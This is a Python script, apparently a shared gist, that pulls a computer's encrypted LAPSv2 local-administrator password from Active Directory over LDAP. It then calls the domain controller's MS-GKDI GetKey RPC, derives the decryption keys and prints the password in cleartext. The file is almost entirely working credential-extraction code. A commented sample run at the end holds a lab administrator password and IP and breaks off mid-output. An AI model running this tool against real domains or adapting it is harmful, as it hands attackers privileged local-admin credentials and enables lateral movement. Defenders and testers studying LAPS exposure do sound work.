Simple script to extract local admin password in cleartext with LAPSv2 using impacket

lapsv2_decryptor.py

import argparse
import typing
import math
from uuid import UUID
from pyasn1.codec.der import decoder
from pyasn1_modules import rfc5652
from struct import unpack
from cryptography import utils
from cryptography.exceptions import AlreadyFinalized, InvalidKey
from cryptography.hazmat.primitives.kdf import KeyDerivationFunction
from cryptography.hazmat.primitives.kdf.kbkdf import KBKDFHMAC, CounterLocation, Mode
from cryptography.hazmat.primitives import keywrap, hashes, constant_time
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

from ldap3 import Server, Connection, NTLM

from impacket.dcerpc.v5 import epm
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport
from impacket.ldap.ldaptypes import ACE, ACL, ACCESS_ALLOWED_ACE, ACCESS_MASK, SR_SECURITY_DESCRIPTOR, LDAP_SID
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import ULONG, PGUID, LONG, NTSTATUS, NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,DCERPCException
from impacket.uuid import uuidtup_to_bin
from impacket import system_errors

# ==== MS-GKDI implementation

class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__( self ):
        key = self.error_code
        if key in system_errors.ERROR_MESSAGES:
            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
            return 'GKDI SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
        else:
            return 'GKDI SessionError: unknown error code: 0x%x' % self.error_code

class BYTE_ARRAY(NDRUniConformantArray):
    item = 'c'

class PBYTE_ARRAY(NDRPOINTER):
    referent = (
        ('Data', BYTE_ARRAY),
    )

class GkdiRpcGetKey(NDRCALL):
    opnum = 0
    structure = (
        ('cbTargetSD', ULONG),
        ('pbTargetSD', BYTE_ARRAY),
        ('pRootKeyID', PGUID),
        ('L0KeyID', LONG),
        ('L1KeyID', LONG),
        ('L2KeyID', LONG),
    )

class GkdiRpcGetKeyResponse(NDRCALL):
    opnum = 0
    structure = (
        ('pcbOut', ULONG),
        ('pbbOut', PBYTE_ARRAY),
        ('ErrorCode', NTSTATUS),
    )

OPNUMS = {
    0   : (GkdiRpcGetKey, GkdiRpcGetKeyResponse),
}

def GkdiGetKey(dce, target_sd, l0 =-1, l1=-1, l2=-1, root_key_id=NULL):
    request = GkdiRpcGetKey()
    request['cbTargetSD'] = len(target_sd)
    request['pbTargetSD'] = target_sd.getData()
    request['pRootKeyID'] = root_key_id
    request['L0KeyID'] = l0
    request['L1KeyID'] = l1
    request['L2KeyID'] = l2
    return dce.request(request)

# ==== Impacket hept_map reimplementation (fix EpTower)

MSRPC_UUID_PORTMAP = uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA', '3.0'))

def hept_map(destHost, remoteIf, dataRepresentation = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')), protocol = 'ncacn_np', dce=None):

    if dce is None:
        stringBinding = r'ncacn_ip_tcp:%s[135]' % destHost
        rpctransport = transport.DCERPCTransportFactory(stringBinding)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        disconnect = True
    else:
        disconnect = False


    dce.bind(MSRPC_UUID_PORTMAP)

    tower = epm.EPMTower()
    interface = epm.EPMRPCInterface()

    interface['InterfaceUUID'] = remoteIf[:16]
    interface['MajorVersion'] = unpack('<H', remoteIf[16:][:2])[0]
    interface['MinorVersion'] = unpack('<H', remoteIf[18:])[0]

    dataRep = epm.EPMRPCDataRepresentation()
    dataRep['DataRepUuid'] = dataRepresentation[:16]
    dataRep['MajorVersion'] = unpack('<H', dataRepresentation[16:][:2])[0]
    dataRep['MinorVersion'] = unpack('<H', dataRepresentation[18:])[0]

    protId = epm.EPMProtocolIdentifier()
    protId['ProtIdentifier'] = epm.FLOOR_RPCV5_IDENTIFIER

    if protocol == 'ncacn_np':
        pipeName = epm.EPMPipeName()
        pipeName['PipeName'] = b'\x00'

        hostName = epm.EPMHostName()
        hostName['HostName'] = b'%s\x00' % destHost
        transportData = pipeName.getData() + hostName.getData()

    elif protocol == 'ncacn_ip_tcp':
        portAddr = epm.EPMPortAddr()
        portAddr['IpPort'] = 135

        hostAddr = epm.EPMHostAddr()
        import socket
        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')
        transportData = portAddr.getData() + hostAddr.getData()
    elif protocol == 'ncacn_http':
        portAddr = epm.EPMPortAddr()
        portAddr['PortIdentifier'] = epm.FLOOR_HTTP_IDENTIFIER
        portAddr['IpPort'] = 0

        hostAddr = epm.EPMHostAddr()
        import socket
        hostAddr['Ip4addr'] = socket.inet_aton('0.0.0.0')
        transportData = portAddr.getData() + hostAddr.getData()

    else:
        print('%s not support for hetp_map()' % protocol)
        if disconnect is True:
            dce.disconnect()
        return None

    tower['NumberOfFloors'] = 5
    tower['Floors'] = interface.getData() + dataRep.getData() + protId.getData() + transportData

    request = epm.ept_map()
    request['max_towers'] = 4
    request['map_tower']['tower_length'] = len(tower)
    request['map_tower']['tower_octet_string'] = tower.getData()

    # Under Windows 2003 the Referent IDs cannot be random
    # they must have the following specific values
    # otherwise we get a rpc_x_bad_stub_data exception
    request.fields['obj'].fields['ReferentID'] = 1
    request.fields['map_tower'].fields['ReferentID'] = 2

    resp = dce.request(request)

    tower = epm.EPMTower(b''.join(resp['ITowers'][0]['Data']['tower_octet_string']))
    # Now let's parse the result and return an stringBinding
    result = None
    if protocol == 'ncacn_np':
        # Pipe Name should be the 4th floor
        pipeName = epm.EPMPipeName(tower['Floors'][3].getData())
        result = 'ncacn_np:%s[%s]' % (destHost, pipeName['PipeName'].decode('utf-8')[:-1])
    elif protocol == 'ncacn_ip_tcp':
        # Port Number should be the 4th floor
        portAddr = epm.EPMPortAddr(tower['Floors'][3].getData())
        result = 'ncacn_ip_tcp:%s[%s]' % (destHost, portAddr['IpPort'])
    elif protocol == 'ncacn_http':
        # Port Number should be the 4th floor
        portAddr = epm.EPMPortAddr(tower['Floors'][3].getData())
        result = 'ncacn_http:%s[%s]' % (destHost, portAddr['IpPort'])
    if disconnect is True:
        dce.disconnect()
    return result

# ==== STRUCTS

def _int_to_u32be(n: int) -> bytes:
    return n.to_bytes(length=4, byteorder="big")


def _common_args_checks(
    algorithm: hashes.HashAlgorithm,
    length: int,
    otherinfo: typing.Optional[bytes],
) -> None:
    max_length = algorithm.digest_size * (2**32 - 1)
    if length > max_length:
        raise ValueError(f"Cannot derive keys larger than {max_length} bits.")
    if otherinfo is not None:
        utils._check_bytes("otherinfo", otherinfo)

def _concatkdf_derive(
    key_material: bytes,
    length: int,
    auxfn: typing.Callable[[], hashes.HashContext],
    otherinfo: bytes,
) -> bytes:
    utils._check_byteslike("key_material", key_material)
    output = [b""]
    outlen = 0
    counter = 1

    while length > outlen:
        h = auxfn()
        h.update(_int_to_u32be(counter))
        h.update(key_material)
        h.update(otherinfo)
        output.append(h.finalize())
        outlen += len(output[-1])
        counter += 1

    return b"".join(output)[:length]


class ConcatKDFHash(KeyDerivationFunction):
    def __init__(
        self,
        algorithm: hashes.HashAlgorithm,
        length: int,
        otherinfo: typing.Optional[bytes],
        backend: typing.Any = None,
    ):
        _common_args_checks(algorithm, length, otherinfo)
        self._algorithm = algorithm
        self._length = length
        self._otherinfo: bytes = otherinfo if otherinfo is not None else b""

        self._used = False

    def _hash(self) -> hashes.Hash:
        return hashes.Hash(self._algorithm)

    def derive(self, key_material: bytes) -> bytes:
        if self._used:
            raise AlreadyFinalized
        self._used = True
        return _concatkdf_derive(
            key_material, self._length, self._hash, self._otherinfo
        )

    def verify(self, key_material: bytes, expected_key: bytes) -> None:
        if not constant_time.bytes_eq(self.derive(key_material), expected_key):
            raise InvalidKey

class FFCDHParameter(Structure):
    structure = (
        ('Length', '<L=0'),
        ('Magic', '<4s=0'),
        ('KeyLength', '<L=0'),
        ('_FieldOrder','_-FieldOrder', 'self["KeyLength"]'),
        ('FieldOrder',':'),
        ('_Generator','_-Generator', 'self["KeyLength"]'),
        ('Generator',':')
    )

    def dump(self):
        print("[FFCDH PARAMETER]")
        print("Length:\t\t%s" % (self['Length']))
        print("Magic:\t\t%s" % (self['Magic']))
        print("KeyLength:\t\t%s" % (self['KeyLength']))
        print("FieldOrder:\t\t%s" % (self['FieldOrder']))
        print("Generator:\t\t%s" % (self['Generator']))
        print()

class FFCDHKey(Structure):
    structure = (
        ('Magic', '<4s=0'),
        ('KeyLength', '<L=0'),
        ('_FieldOrder','_-FieldOrder', 'self["KeyLength"]'),
        ('FieldOrder',':'),
        ('_Generator','_-Generator', 'self["KeyLength"]'),
        ('Generator',':'),
        ('_PubKey','_-PubKey', 'self["KeyLength"]'),
        ('PubKey',':'),
    )

    def dump(self):
        print("[FFCDH KEY]")
        print("KeyLength:\t\t%s" % (self['KeyLength']))
        print("FieldOrder:\t\t%s" % (self['FieldOrder']))
        print("Generator:\t\t%s" % (self['Generator']))
        print("PubKey:\t\t%s" % (self['PubKey']))
        print()

class ECDHKey(Structure):
    structure = (
        ('Magic', '<4s=0'),
        ('KeyLength', '<L=0'),
        ('_XCoordinate','_-XCoordinate', 'self["KeyLength"]'),
        ('XCoordinate',':'),
        ('_YCoordinate','_-YCoordinate', 'self["KeyLength"]'),
        ('YCoordinate',':'),
    )

    def dump(self):
        print("[ECDH KEY]")
        print("Magic:\t\t%s" % (hex(self['Magic'])))
        print("XCoordinate:\t\t%s" % (self['XCoordinate']))
        print("YCoordinate:\t\t%s" % (self['YCoordinate']))
        print()

class KDFParameter(Structure):
    structure = (
        ('Unknown1','<L=0'),
        ('Unknown2','<L=0'),
        ('HashLen','<L=0'),
        ('Unknown3','<L=0'),
        ('_HashName','_-HashName', 'self["HashLen"]'),
        ('HashName',':')
    )

class EncryptedPasswordBlob(Structure):
    structure = (
        ('Timestamp_lower', '<L=0'),
        ('Timestamp_upper', '<L=0'),
        ('Length', '<L=0'),
        ('Flags', '<L=0'),
        ('_Blob','_-Blob', 'self["Length"]'),
        ('Blob',':')
    )

    def dump(self):
        print("[ENCRYPTED PASSWORD BLOB]")
        print("Timestamp_upper:\t\t%s" % (self['Timestamp_upper']))
        print("Timestamp_lower:\t\t%s" % (self['Timestamp_lower']))
        print("Update Timestamp:\t\t%s" % ((int(self['Timestamp_upper']) << 32) | self['Timestamp_lower']))
        print("Length:\t\t%s" % (self['Length']))
        print("Flags:\t\t%s" % (self['Flags']))
        print("Blob:\t\t%s" % (self['Blob']))
        print()

class GroupKeyEnvelope(Structure):
    structure = (
        ('Version', '<L=0'),
        ('Magic', '<L=0'),
        ('Flags', '<L=0'),
        ('L0Index', '<L=0'),
        ('L1Index', '<L=0'),
        ('L2Index', '<L=0'),
        ('RootKeyId', '16s=b'),
        ('KdfAlgoLength', '<L=0'),
        ('KdfParaLength', '<L=0'),
        ('SecAlgoLength', '<L=0'),
        ('SecParaLength', '<L=0'),
        ('PrivKeyLength', '<L=0'),
        ('PubKeyLength', '<L=0'),
        ('L1KeyLength', '<L=0'),
        ('L2KeyLength', '<L=0'),
        ('DomainLength', '<L=0'),
        ('ForestLength', '<L=0'),
        ('_KdfAlgo','_-KdfAlgo', 'self["KdfAlgoLength"]'),
        ('KdfAlgo',':'),
        ('_KdfPara','_-KdfPara', 'self["KdfParaLength"]'),
        ('KdfPara',':', KDFParameter),
        ('_SecAlgo','_-SecAlgo', 'self["SecAlgoLength"]'),
        ('SecAlgo',':'),
        ('_SecPara','_-SecPara', 'self["SecParaLength"]'),
        ('SecPara',':', FFCDHParameter),
        ('_Domain','_-Domain', 'self["DomainLength"]'),
        ('Domain',':'),
        ('_Forest','_-Forest', 'self["ForestLength"]'),
        ('Forest',':'),
        ('_L1Key','_-L1Key', 'self["L1KeyLength"]'),
        ('L1Key',':'),
        ('_L2Key','_-L2Key', 'self["L2KeyLength"]'),
        ('L2Key',':'),
    )

    def dump(self):
        print("[GROUP KEY ENVELOPE]")
        print("Version:\t\t%s" % (self['Version']))
        print("Magic:\t\t%s" % (hex(self['Magic'])))
        print("Flags:\t\t%s" % (self['Flags']))
        print("L0Index:\t\t%s" % (self['L0Index']))
        print("L1Index:\t\t%s" % (self['L1Index']))
        print("L2Index:\t\t%s" % (self['L2Index']))
        print("RootKeyId:\t\t%s" % (self['RootKeyId']))
        print("KdfAlgo:\t\t%s" % (self['KdfAlgo'].decode('utf-16le')))
        print("KdfPara:\t\t%s" % (self['KdfPara']['HashName'].decode('utf-16le')))
        print("SecAlgo:\t\t%s" % (self['SecAlgo'].decode('utf-16le')))
        print("SecPara[FieldOrder]:\t%s" % (self['SecPara']['FieldOrder']))
        print("SecPara[Generator]:\t%s" % (self['SecPara']['Generator']))
        print("PrivKeyLength:\t\t%s" % (self['PrivKeyLength']))
        print("PubKeyLength:\t\t%s" % (self['PubKeyLength']))
        print("Domain:\t\t%s" % (self['Domain'].decode('utf-16le')))
        print("Forest:\t\t%s" % (self['Forest'].decode('utf-16le')))
        print("L1Key:\t\t%s" % (self['L1Key']))
        print("L2Key:\t\t%s" % (self['L2Key']))
        print()

class KeyIdentifier(Structure):
    structure = (
        ('Version', '<L=0'),
        ('Magic', '<L=0'),
        ('Flags', '<L=0'),
        ('L0Index', '<L=0'),
        ('L1Index', '<L=0'),
        ('L2Index', '<L=0'),
        ('RootKeyId', '16s=b'),
        ('UnknownLength', '<L=0'),
        ('DomainLength', '<L=0'),
        ('ForestLength', '<L=0'),
        ('_Unknown','_-Unknown', 'self["UnknownLength"]'),
        ('Unknown',':'),
        ('_Domain','_-Domain', 'self["DomainLength"]'),
        ('Domain',':'),
        ('_Forest','_-Forest', 'self["ForestLength"]'),
        ('Forest',':'),
    )

    def dump(self):
        print("[KEY IDENTIFIER]")
        print("Version:\t\t%s" % (self['Version']))
        print("Magic:\t\t%s" % (hex(self['Magic'])))
        print("Flags:\t\t%s" % (self['Flags']))
        print("L0Index:\t\t%s" % (self['L0Index']))
        print("L1Index:\t\t%s" % (self['L1Index']))
        print("L2Index:\t\t%s" % (self['L2Index']))
        print("RootKeyId:\t\t%s" % (self['RootKeyId']))
        print("Unknown:\t\t%s" % (self['Unknown']))
        print("Domain:\t\t%s" % (self['Domain'].decode('utf-16le')))
        print("Forest:\t\t%s" % (self['Forest'].decode('utf-16le')))
        print()
    
    def is_public_key(self) -> bool:
        return bool(self['Flags'] & 1)

# ==== CORE
# From https://github.com/jborean93/dpapi-ng

KDS_SERVICE_LABEL = "KDS service\0".encode("utf-16-le")

def ldap_request(ldap_server, domain, username, password, base_dn, target_computer):
    data = None
    ldap_server = Server("ldap://%s" % ldap_server)
    print('[-] Connecting to %s with user %s\\%s' % (ldap_server, domain, username))
    with Connection(ldap_server, user="%s\\%s" % (domain, username), password=password, authentication=NTLM, auto_bind=True) as ldap_connection:
        print('[+] Connected! Getting msLAPS-EncryptedPassword for %s' % target_computer)
        # Define the search request
        search_filter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + target_computer + '))'
        attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'sAMAccountName']
        search_result = ldap_connection.search(search_filter=search_filter, search_base=base_dn, attributes=attributes)
        # Print the result of the search request
        if search_result:
            results = ldap_connection.response
            data = results[0]['raw_attributes']['msLAPS-EncryptedPassword'][0]
    return data

def connect(username, password, domain, lmhash, nthash, doKerberos, dcHost):
    MSRPC_UUID_GKDI = uuidtup_to_bin(('B9785960-524F-11DF-8B6D-83DCDED72085','1.0'))
    stringBinding = hept_map(destHost=dcHost, remoteIf=MSRPC_UUID_GKDI, protocol = 'ncacn_ip_tcp')

    rpctransport = transport.DCERPCTransportFactory(stringBinding)
    if hasattr(rpctransport, 'set_credentials'):
        rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
    if doKerberos:
        rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
    if dcHost:
        rpctransport.setRemoteHost(dcHost)
    dce = rpctransport.get_dce_rpc()
    dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
    dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
    print("[-] Connecting to %s" % stringBinding)
    try:
        dce.connect()
    except Exception as e:
        print("Something went wrong, check error status => %s" % str(e))
        return None
    print("[+] Connected")
    print("[+] Binding to %s" % MSRPC_UUID_GKDI)
    try:
        dce.bind(MSRPC_UUID_GKDI)
    except Exception as e:
        import traceback
        traceback.print_stack()
        print("Something went wrong, check error status => %s" % str(e))
        return None
    print("[+] Successfully bound")
    return dce

def create_ace(sid, mask):
    nace = ACE()
    nace['AceType'] = ACCESS_ALLOWED_ACE.ACE_TYPE
    nace['AceFlags'] = 0x00
    acedata = ACCESS_ALLOWED_ACE()
    acedata['Mask'] = ACCESS_MASK()
    acedata['Mask']['Mask'] = mask
    acedata['Sid'] = LDAP_SID()
    acedata['Sid'].fromCanonical(sid)
    nace['Ace'] = acedata
    return nace

def create_sd(sid):
    sd = SR_SECURITY_DESCRIPTOR()
    sd['Revision'] = b'\x01'
    sd['Sbz1'] = b'\x00'
    sd['Control'] = 32772
    sd['OwnerSid'] = LDAP_SID()
    sd['OwnerSid'].fromCanonical('S-1-5-18')
    sd['GroupSid'] = LDAP_SID()
    sd['GroupSid'].fromCanonical('S-1-5-18')
    sd['Sacl'] = b''

    acl = ACL()
    acl['AclRevision'] = 2
    acl['Sbz1'] = 0
    acl['Sbz2'] = 0
    acl.aces = []
    acl.aces.append(create_ace(sid, 3))
    acl.aces.append(create_ace('S-1-1-0',2))
    sd['Dacl'] = acl

    return sd

def compute_kdf_context(key_guid, l0, l1, l2):
    return b"".join(
            [
                key_guid,
                l0.to_bytes(4, byteorder="little", signed=True),
                l1.to_bytes(4, byteorder="little", signed=True),
                l2.to_bytes(4, byteorder="little", signed=True),
            ]
        )

def kdf(HashAlg, secret, label, context, length):
    hash_alg = hashes.SHA512()
    if 'SHA512' in HashAlg:
        hash_alg = hashes.SHA512()
    elif 'SHA256' in HashAlg:
        hash_alg = hashes.SHA256()

    kdf = KBKDFHMAC(
        algorithm=hash_alg,
        mode=Mode.CounterMode,
        length=length,
        label=label,
        context=context,
        # MS-SMB2 uses the same KDF function and my implementation that
        # sets a value of 4 seems to work so assume that's the case here.
        rlen=4,
        llen=4,
        location=CounterLocation.BeforeFixed,
        fixed=None,
    )
    return kdf.derive(secret)

def compute_l2_key(key_id: KeyIdentifier, gke: GroupKeyEnvelope):
    l1 = gke["L1Index"]
    l1_key = gke["L1Key"]
    l2 = gke["L2Index"]
    l2_key = gke["L2Key"]

    reseed_l2 = l2 == 31 or l1 != key_id["L1Index"]

    kdf_param = gke["KdfPara"]["HashName"].decode('utf-16le')

    if l2 != 31 and l1 != key_id["L1Index"]:
        l1 -= 1

    while l1 != key_id["L1Index"]:
        reseed_l2 = True
        l1 -= 1

        l1_key = kdf(
            kdf_param,
            l1_key,
            KDS_SERVICE_LABEL,
            compute_kdf_context(
                gke["RootKeyId"],
                gke["L0Index"],
                l1,
                -1
            ),
            64
        )
    
    if reseed_l2:
        l2 = 31
        l2_key = kdf(
            kdf_param,
            l1_key,
            KDS_SERVICE_LABEL,
            compute_kdf_context(
                gke["RootKeyId"],
                gke["L0Index"],
                l1,
                l2,
            ),
            64,
        )
    
    while l2 != key_id["L2Index"]:
        l2 -= 1

        l2_key = kdf(
            kdf_param,
            l2_key,
            KDS_SERVICE_LABEL,
            compute_kdf_context(
                gke["RootKeyId"],
                gke["L0Index"],
                l1,
                l2,
            ),
            64,
        )

    return l2_key

def little_to_big(data):
    return data[::-1]

def main():
    parser = argparse.ArgumentParser(add_help = True, description = "Dump LAPSv2")
    parser.add_argument('-u', '--username', action="store", default='', help='valid username')
    parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
    parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
    parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
    
    parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                        '(KRB5CCNAME) based on target parameters. If valid credentials '
                        'cannot be found, it will use the ones specified in the command '
                        'line')
    parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
    parser.add_argument('-target-computer', action="store", default='', help='Computer that you want the laps admin password')
    parser.add_argument('-base-dn', action="store", default='', help='Base DN')


    options = parser.parse_args()

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash = ''
        nthash = ''

    if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
        from getpass import getpass
        options.password = getpass("Password:")
    
    # 1. Get the blob from LDAP

    data = ldap_request(options.dc_ip, options.domain, options.username, options.password, options.base_dn, options.target_computer)
    if data == None:
        print("[!] No encrypted blob returned")
        return 
    
    # 2. Unpack the encrypted blob to get KeyIdentifier and all the infos
    print('[-] Unpacking blob')
    rawblob = EncryptedPasswordBlob(data)
    parsed_cms_data, remaining = decoder.decode(rawblob['Blob'], asn1Spec=rfc5652.ContentInfo())
    enveloped_data_blob = parsed_cms_data['content']
    parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData())

    recipient_infos = parsed_enveloped_data['recipientInfos']
    kek_recipient_info = recipient_infos[0]['kekri']
    kek_identifier = kek_recipient_info['kekid'] 
    key_id = KeyIdentifier(bytes(kek_identifier['keyIdentifier']))
    tmp,_ = decoder.decode(kek_identifier['other']['keyAttr'])
    sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8") 
    target_sd = create_sd(sid)
    key_id.dump()

    # 3. Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey 
    dce = connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, doKerberos=options.k, dcHost=options.dc_ip)
    if dce is None:
        return
    print("[-] Calling MS-GKDI GetKey")
    resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id['L0Index'], l1=key_id['L1Index'], l2=key_id['L2Index'], root_key_id=key_id['RootKeyId'])
    
    # 4. Unpack GroupKeyEnvelope
    gke = GroupKeyEnvelope(b''.join(resp['pbbOut']))
    gke.dump()

    # 5. Compute KEK
    print('[-] Computing L2 Key')
    l2_key = compute_l2_key(key_id, gke)

    kek_secret = None
    kek_context = None

    if key_id.is_public_key():
        print('[-] Computing Private Key')
        private_key = kdf(
            gke["KdfPara"]["HashName"].decode('utf-16le'),
            l2_key,
            KDS_SERVICE_LABEL,
            gke['SecAlgo'],
            math.ceil(gke["PrivKeyLength"] / 8),
        )
        if gke['SecAlgo'].decode('utf-16le').encode() == b"DH\0":
            ffcdh_key = FFCDHKey(key_id["Unknown"])
            print('[-] Computing Shared Secret based on Diffie-Helmann')
            shared_secret_int = pow(
                int.from_bytes(ffcdh_key['PubKey'], byteorder="big"),
                int.from_bytes(private_key, byteorder="big"),
                int.from_bytes(ffcdh_key['FieldOrder'], byteorder="big"),
            )
            shared_secret = shared_secret_int.to_bytes((shared_secret_int.bit_length() + 7) // 8, byteorder="big")

        kek_context = "KDS public key\0".encode("utf-16le")
        otherinfo = "SHA512\0".encode("utf-16le") + kek_context + KDS_SERVICE_LABEL
        kek_secret = ConcatKDFHash(hashes.SHA256(), length=32, otherinfo=otherinfo).derive(shared_secret)

    else:
        kek_secret = l2_key
        kek_context = key_id["Unknown"]

    print('[-] Computing KEK')
    kek = kdf(
        gke["KdfPara"]["HashName"].decode('utf-16le'),
        kek_secret,
        KDS_SERVICE_LABEL,
        kek_context,
        32
    )
    print(kek)

    # 6. Unwrap CEK
    print('[-] Unwraping CEK')
    cek = keywrap.aes_key_unwrap(kek, bytes(kek_recipient_info['encryptedKey']))
    print(cek)
    
    enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"])
    iv, _ = decoder.decode(enc_content_parameter)
    print('[-] Got IV')
    print(bytes(iv[0]))

    # 7. Decrypt the encrypted content with CEK
    cipher = AESGCM(cek)
    output = cipher.decrypt(bytes(iv[0]), remaining, None)
    print()
    print(output.decode('utf-16le'))

if __name__ == "__main__":
    main()

# python3 poc.py -u administrator -p 'Waza1234' -d testlab.local -dc-ip 192.168.56.30 -target-computer 'srv02' -base-dn "dc=testlab,dc=local"
# [-] Connecting to ldap://192.168.56.30:389 - cleartext with user testlab.local\administrator
# [+] Connected! Getting msLAPS-EncryptedPassword for srv02
# [-] Unpacking blob
# [KEY IDENTIFIER]
# Version:		1
# Magic:		0x4b53444b
# Flags:		3
# L0Index:		361
# L1Index:		15
# L2Index:		30
# RootKeyId:		b'\xc5>\x1b\xb7\x84W\x1cx\xa2X\x06=\xc9T\xafN'
# Unknown:		b'DHPB\x00\x01\x00\x00\x87\xa8\xe6\x1d\xb4\xb6f<\xff\xbb\xd1\x9ce\x19Y\x99\x8c\xee\xf6\x08f\r\xd0\xf2],\xee\xd4C^;\x00\xe0\r\xf8\xf1\xd6\x19W\xd4\xfa\xf7\xdfEa\xb2\xaa0\x16\xc3\xd9\x114\to\xaa;\xf4)m\x83\x0e\x9a| \x9e\x0cd\x97Qz\xbdZ\x8a\x9d0k\xcfg\xed\x91\xf9\xe6r[GX\xc0"\xe0\xb1\xefBu\xbf{l[\xfc\x11\xd4_\x90\x88\xb9A\xf5N\xb1\xe5\x9b\xb8\xbc9\xa0\xbf\x120\x7f\\O\xdbp\xc5\x81\xb2?v\xb6:\xca\xe1\xca\xa6\xb7\x90-RRg5H\x8a\x0e\xf1<m\x9aQ\xbf\xa4\xab:\xd84w\x96RM\x8e\xf6\xa1g\xb5\xa4\x18%\xd9g\xe1D\xe5\x14\x05d%\x1c\xca\xcb\x83\xe6\xb4\x86\xf6\xb3\xca?yqP`&\xc0\xb8W\xf6\x89\x96(V\xde\xd4\x01\n\xbd\x0b\xe6!\xc3\xa3\x96\nT\xe7\x10\xc3u\xf2cu\xd7\x01A\x03\xa4\xb5C0\xc1\x98\xaf\x12a\x16\xd2\'n\x11q_i8w\xfa\xd7\xef\t\xca\xdb\tJ\xe9\x1e\x1a\x15\x97?\xb3,\x9bs\x13M\x0b.wPf`\xed\xbdHL\xa7\xb1\x8f!\xef T\x07\xf4y:\x1a\x0b\xa1%\x10\xdb\xc1Pw\xbeF?\xffO\xedJ\xac\x0b\xb5U\xbe:l\x1b\x0ckG\xb1\xbc7s\xbf~\x8cob\x90\x12(\xf8\xc2\x8c\xbb\x18\xa5Z\xe3\x13A\x00\ne\x01\x96\xf91\xc7zW\xf2\xdd\xf4c\xe5\xe9\xec\x14Kw}\xe6*\xaa\xb8\xa8b\x8a\xc3v\xd2\x82\xd6\xed8d\xe6y\x82B\x8e\xbc\x83\x1d\x144\x8fo/\x91\x93\xb5\x04Z\xf2vqd\xe1\xdf\xc9g\xc1\xfb?.U\xa4\xbd\x1b\xff\xe8;\x9c\x80\xd0R\xb9\x85\xd1\x82\xea\n\xdb*;s\x13\xd3\xfe\x14\xc8HK\x1e\x05%\x88\xb9\xb7\xd2\xbb\xd2\xdf\x01a\x99\xec\xd0n\x15W\xcd\t\x15\xb35;\xbbd\xe0\xec7\x7f\xd0(7\r\xf9+R\xc7\x89\x14(\xcd\xc6~\xb6\x18KR=\x1d\xb2F\xc3/c\x07\x84\x90\xf0\x0e\xf8\xd6G\xd1H\xd4yTQ^#\'\xcf\xef\x98\xc5\x82fKL\x0fl\xc4\x16Y]\x00\x0b\x96!6R\xb4\xc9\xfe\xe07\xdfY$\nY\xdfO\x8f\x80l\xe1\x80\xa7+\xcdT\xd2\x1c@\x8d\xf6\xbd\xb0EaR\xb4=\x12\xbbr\x87:y\xcd\xcc\x83"1\x83.\xd0\x19\xb4\xe7m\xa7\xd2\r:d\x1aa8\xa9\xb6\xceC\xf72<\x8fw\xa2\x04\xd51\xc1|c\xae\xc4\xf0\x05\x05}B\x17\x13CtL\x92\x1e|F\x96\xe0y\xc5:0H\xd8\xd6\x8fM~\x1e\xff2&d\xd1\xbaV\xc5\xb1!\\U[\xc6\xf9c\xd1\x8b\xe2\x1e\xa2#B@6m\xd2]\\\r\x07O:v\xdaL\x94\xe2\xd6\x91\x16\x93\x8e\xabW\xa2aY\xa3\x1f&C\xc4\x08w\xedNnj\xc4P\x18\xd9\x1f\xfe\xf1\x07p\x90\x90\xb6\xb0NO\x04\x03\x90}\xb0nh\xe6<)\xe2\xdd"C\xe4\x7f\\\xc2k>\xbe\xbf\xde\xf2\xc8\x83\xb3\xbcOU\xfd\x7f\xc2\xa2\x86\xa8\x94\xd8\x94\xee(\xcb\xd3\xf4 \xd2vgS\xf2\x9f\xbf\xe5L\x84N\xb1\xb8\xa1\xac<\x89O\xdb\x98\xf4W\xd3\xfd8_'
# Domain:		testlab.local
# Forest:		testlab.local

# [-] Connecting to ncacn_ip_tcp:192.168.56.30[49689]
# [+] Connected
# [+] Binding to b'`Yx\xb9OR\xdf\x11\x8bm\x83\xdc\xde\xd7 \x85\x01\x00\x00\x00'
# [+] Successfully bound
# [-] Calling MS-GKDI GetKey
# [GROUP KEY ENVELOPE]
# Version:		1
# Magic:		0x4b53444b
# Flags:		2
# L0Index:		361
# L1Index:		18
# L2Index:		4
